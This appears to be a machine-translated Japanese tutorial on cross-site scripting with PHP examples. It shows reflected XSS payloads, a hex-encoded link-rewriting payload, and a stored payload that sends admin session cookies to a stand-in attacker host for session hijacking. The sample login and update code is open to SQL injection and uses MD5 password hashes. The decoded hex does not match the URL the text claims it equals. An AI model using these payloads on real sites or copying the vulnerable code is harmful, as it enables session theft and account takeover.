このシリーズの前回の記事では、SQL インジェクション攻撃を防ぐ方法について説明しました。この記事では、XXS 攻撃と呼ばれる別の種類の攻撃について説明します。
XSS はクロス サイト スクリプティングの略です。
XSS は SQL インジェクションに非常に似ています。 SQL-Injection では、ユーザー入力として SQL クエリを挿入することで脆弱性を悪用しました。 XSS では、コード (基本的にクライアント側のスクリプト) をリモート サーバーに挿入します。
クロス サイト スクリプティングの種類
XSS 攻撃は、大きく 2 つのタイプに分類されます。
<オール>1.非永続的な XSS 攻撃
非永続的な攻撃の場合、ユーザーは攻撃者によって特別に細工されたリンクにアクセスする必要があります。ユーザーがリンクにアクセスすると、細工されたコードがユーザーのブラウザによって実行されます。例を挙げて、この攻撃をよりよく理解しましょう。
非永続 XSS の例
index.php:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>
例 1:
攻撃者は次のように URL を作成し、被害者に送信します:
index.php?name=guest<script>alert('attacked')</script>
被害者が上記の URL をブラウザにロードすると、「攻撃されました」という警告ボックスが表示されます。この例は迷惑な「attacked」ポップアップを除いて何の損害も与えませんが、攻撃者がこの方法を使用していくつかの損害を与える方法を見ることができます.
例 2:
たとえば、攻撃者は「Click to Download」リンクの「Target URL」を変更しようとする可能性があります。 「xssattackexamples.com」Web サイトへのリンクの代わりに、以下に示すように URL を作成することで、「not-real-xssattackexamples.com」にリダイレクトできます。
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
上記では、「window.onload」で実行する関数を呼び出しました。 Web サイト (つまり、index.php) は最初に指定された名前をエコーし、次にそれのみが タグを描画するためです。したがって、以下に示すように直接記述しても機能しません。これらのステートメントは タグがエコーされる前に実行されるためです
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>
通常、攻撃者は、人間が直接読み取ることができる URL を作成しない傾向があります。したがって、彼は次のように ASCII 文字を 16 進数にエンコードします。
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
これは次と同じです:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
被害者は、URL が巧妙に細工されたものであることを直接理解できないため、その URL にアクセスできる可能性が高くなるため、被害者はそれが何であるかを知らない可能性があります。
2.永続的な XSS 攻撃
持続的な攻撃の場合、攻撃者によって挿入されたコードはセカンダリ ストレージ デバイス (ほとんどの場合データベース) に保存されます。持続攻撃によるダメージは、非持続攻撃よりも大きくなります。ここでは、XSS を実行して他のユーザーのセッションをハイジャックする方法について説明します。
セッション
HTTP プロトコルはステートレス プロトコルです。つまり、リクエストとレスポンスに関して状態を維持しません。すべてのリクエストとレスポンスは互いに独立しています。しかし、ほとんどの Web アプリケーションはこれを必要としません。ユーザーが自分自身を認証すると、Web サーバーは、ユーザーからの次の要求に対してユーザー名/パスワードを要求しません。これを行うには、Web ブラウザーと Web サーバーの間で何らかの状態を維持する必要があります。これは、「セッション」を通じて行われます。
ユーザーが初めてログインすると、Web サーバーによってセッション ID が作成され、「Cookie」として Web ブラウザーに送信されます。 Web サーバーへの後続のすべての要求は、Cookie の「セッション ID」に基づいています。
永続的な XSS 攻撃の例
以下に示すこのサンプル Web アプリケーションは、永続的な XSS 攻撃が次のことを行うことを示しています。
- ユーザーには、「管理者」ユーザーと「通常」ユーザーの 2 種類があります。
- 「管理者」がログインすると、ユーザー名のリストが表示されます。 「通常の」ユーザーがログインすると、表示名のみを更新できます。
login.php:
<?php $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; /* Connect with database asking for a new connection*/ $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (!$Connect) { echo "Database Connection Failure"; exit; } $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';"; $result=pg_query($Connect,$query); $row=pg_fetch_array($result,NULL,PGSQL_ASSOC); $user_pass = md5($_POST['pass_word']); $user_name = $row['user_name']; if(strcmp($user_pass,$row['password'])!=0) { echo "Login failed"; } else { # Start the session session_start(); $_SESSION['USER_NAME'] = $user_name; echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>"; } ?>
home.php:
<?php session_start(); if(!$_SESSION['USER_NAME']) { echo "Need to login"; } else { $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER['REQUEST_METHOD'] == "POST") { $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';"; pg_query($Connect,$query); echo "Update Success"; } else { if(strcmp($_SESSION['USER_NAME'],'admin')==0) { echo "Welcome admin<br><hr>"; echo "List of user's are<br>"; $query = "select display_name from $Schema.members where user_name!='admin'"; $res = pg_query($Connect,$query); while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { echo "$row[display_name]<br>"; } } else { echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; echo "<input type=\"submit\" value=\"Update\">"; } } } ?>
ここで、攻撃者は通常のユーザーとしてログインし、テキスト ボックスに表示名として次のように入力します:
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
攻撃者が入力した上記の情報は、データベースに保存されます (永続的)。
これで、管理者がシステムにログインすると、「私の名前」という名前のリンクと他のユーザー名が表示されます。管理者がリンクをクリックすると、セッション ID を持つ Cookie が攻撃者のサイトに送信されます。攻撃者は、そのセッション ID を使用して Web サーバーにリクエストを送信し、セッションが期限切れになるまで「管理者」のように振る舞うことができます。 Cookie 情報は次のようになります。
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
ハッカーが PHPSESSID を知ると、PHPSESSID の有効期限が切れるまで、このセッションを使用して管理者権限を取得できます。
これをさらに理解するために、「Tamper Data」と呼ばれる Firefox アドオンを使用して、「Cookies」と呼ばれる新しい HTTP ヘッダーを追加し、値を「PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3」に設定することができます。
「改ざんデータ」の使用方法については、このシリーズの今後の記事で説明します。